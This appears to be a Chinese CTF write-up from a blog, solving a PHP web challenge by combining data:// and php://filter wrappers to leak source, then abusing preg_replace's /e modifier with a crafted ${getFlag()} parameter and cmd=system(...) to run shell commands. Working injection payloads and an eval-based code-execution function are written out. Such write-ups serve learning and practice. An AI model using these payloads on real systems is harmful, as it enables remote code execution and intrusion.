打开题目就是源码
看到使用file_get_contents()函数打开text,看到file就想到了文件包含,但是本题使用file://协议并不行,里边有个封装的text文件,需要使用data://协议
php 5.2.0 起,数据流封装器开始有效,主要用于数据流的读取,如果传入的数据是PHP代码就会执行代码。使用方法为:data://text/plain;base64,xxxx(base64编码后的数据)
所以我们构造paload:
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
得到源码
解码后得到的源码
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
从源码可以看出漏洞出在preg_replace /e 模式下
e模式下的preg_replace可以让第二个参数'替换字符串'当作代码执行,但是这里第二个参数是不可变的,但因为有这种特殊的情况,正则表达式模式或部分模式两边添加圆括号会将相关匹配存储到一个临时缓存区,并且从1开始排序,而strtolower("\1")正好表达的就是匹配区的第一个(\\1=\1),从而我们如果匹配可以,则可以将函数实现。
比如我们传入 ?.*={${phpinfo()}}
原句:preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
就变成preg_replace('/(' .* ')/ei','strtolower("\\1")',{${phpinfo()}});
又因为PHP中命名规则是没有 (. )的,而且一些非法字符是会被替换成 _ 的。所以也就导
致正则匹配错误,无法被执行
这里我们就需要把 .(点号)改成下划线,因此得将\.*换成\S*
[\s]表示,只要出现空白就匹配
[\S]表示,非空白就匹配
那么它们的组合[\s\S],表示所有的都匹配
"."是不会匹配换行的,所有出现有换行匹配的时候,就习惯使用[\s\S]来完全通配模式。
然后调用 getFlag() 函数,给 cmd 赋值恶意代码达到被代码执行的效果
最后构造payload:?\S*=${getFlag()}&cmd=system('ls /');
改一下命令执行cat得到flag
标签:匹配,不过如此,ZJCTF,text,preg,replace,re,str,BJDCTF2020 From: https://blog.csdn.net/zarbb/article/details/143272275